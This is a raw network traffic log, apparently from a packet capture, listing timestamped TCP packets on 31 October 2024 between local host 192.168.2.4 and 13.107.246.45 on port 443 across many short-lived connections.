Oct 31, 2024 07:15:13.410682917 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.410744905 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.410789967 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.410789967 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.410816908 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.410841942 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.412583113 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.412601948 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.412676096 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.412774086 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.412785053 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.507181883 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.507261992 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.507347107 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.507553101 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.507566929 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.507582903 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.507590055 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.510046959 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.510087967 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.510155916 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.510278940 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.510297060 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.535691023 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.539033890 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.539113045 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.539256096 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.539256096 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.539278030 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.539297104 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.541333914 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.541347027 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:13.541423082 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.541554928 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:13.541560888 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.136107922 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.137861013 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.137880087 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.138305902 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.138313055 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.153949022 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.154236078 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.154561996 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.154580116 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.154969931 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.154973984 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.155169010 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.155184031 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.155510902 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.155518055 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.241175890 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.243596077 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.243614912 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.244064093 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.244071960 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.269231081 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.269351959 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.269458055 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.269484043 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.269500017 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.269516945 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.269524097 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.272033930 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.272064924 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.272471905 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.272597075 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.272608042 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.283040047 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.283363104 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.283426046 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.283457994 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.283471107 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.283498049 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.283508062 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.284168005 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.284674883 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.284681082 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.285141945 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.285145044 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.285700083 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.285722017 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.285790920 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.285918951 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.285929918 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.314846039 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.315370083 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.315424919 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.315453053 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.315479994 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.315494061 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.315500975 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.317224026 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.317245007 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.317334890 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.317476034 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.317482948 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.369349003 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.369510889 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.369561911 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.369586945 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.369601965 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.369612932 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.369618893 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.371448994 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.371462107 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.371536970 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.371659040 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.371669054 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.414956093 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.414999962 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.415127039 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.415285110 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.415292978 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.415335894 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.415339947 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.417256117 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.417285919 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:14.417357922 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.417484999 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:14.417490959 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.040298939 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.040735960 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.040744066 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.041192055 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.041197062 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.042022943 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.042268038 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.042284012 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.042604923 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.042610884 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.067244053 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.067683935 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.067699909 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.068185091 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.068190098 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.110033035 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.110411882 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.110424995 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.110802889 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.110806942 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.142550945 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.142894983 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.142910004 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.143265009 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.143270016 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.170811892 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.170952082 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.171010017 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.171103001 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.171113968 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.171124935 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.171130896 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.172970057 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.173207045 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.173268080 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.173307896 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.173311949 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.173325062 CET	49830	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.173327923 CET	443	49830	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.174009085 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.174046993 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.174117088 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.174248934 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.174257994 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.175245047 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.175276995 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.175333977 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.175446033 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.175461054 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.203236103 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.203408957 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.203490019 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.203522921 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.203536034 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.203545094 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.203548908 CET	443	49829	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.205326080 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.205336094 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.205400944 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.205506086 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.205513000 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.242163897 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.242436886 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.242486954 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.242528915 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.242532969 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.242543936 CET	49831	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.242547989 CET	443	49831	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.244771004 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.244848013 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.244930029 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.245049000 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.245080948 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.273677111 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.274010897 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.274061918 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.274092913 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.274108887 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.274118900 CET	49832	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.274122953 CET	443	49832	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.276273012 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.276309013 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.276377916 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.276550055 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.276566029 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.900233984 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.900763035 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.900804996 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.901236057 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.901242018 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.913867950 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.914478064 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.914498091 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.914932966 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.914938927 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.953336954 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.953809977 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.953815937 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.954232931 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.954236031 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.989653111 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.990129948 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.990160942 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:15.990565062 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:15.990580082 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.017406940 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.017790079 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.017812014 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.018158913 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.018172026 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.029122114 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.029170036 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.029222012 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.029371977 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.029392004 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.029401064 CET	49834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.029406071 CET	443	49834	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.031775951 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.031814098 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.031897068 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.032020092 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.032047033 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.045140982 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.045329094 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.045378923 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.045414925 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.045423031 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.045433998 CET	49833	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.045438051 CET	443	49833	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.047346115 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.047370911 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.047452927 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.047573090 CET	49839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.047595024 CET	443	49839	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.083733082 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.083879948 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.083947897 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.083990097 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.083995104 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.084033966 CET	49835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.084038019 CET	443	49835	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.085896015 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.085906982 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.085978985 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.086097956 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.086107016 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.118253946 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.118308067 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.118367910 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.118469954 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.118491888 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.118541002 CET	49836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.118556976 CET	443	49836	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.120198011 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.120222092 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.120285988 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.120393991 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.120409012 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.148961067 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.149122000 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.149183989 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.149219036 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.149228096 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.149241924 CET	49837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.149249077 CET	443	49837	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.150949955 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.150959015 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.151026011 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.151294947 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.151304007 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.772013903 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.772450924 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.772495985 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.772870064 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.772886038 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.814732075 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.815145969 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.815164089 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.815551043 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.815555096 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.856421947 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.856798887 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.856813908 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.857182026 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.857187986 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.867213011 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.867481947 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.867491961 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.867805004 CET	49842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.867809057 CET	443	49842	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.904653072 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.904881001 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.904973984 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.904974937 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.907361031 CET	49838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.907399893 CET	443	49838	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.907489061 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.907512903 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.907583952 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.907725096 CET	49843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.907737017 CET	443	49843	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.943825006 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.943964005 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.944041014 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.944204092 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.944215059 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.944225073 CET	49840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.944228888 CET	443	49840	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.947062969 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.947103977 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.947175026 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.947295904 CET	49844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.947318077 CET	443	49844	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.986567020 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.986689091 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.986754894 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.986857891 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.986876011 CET	443	49841	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:16.986886024 CET	49841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:16.986891031 CET	443	49841	13.107.246.45	192.168.2.4
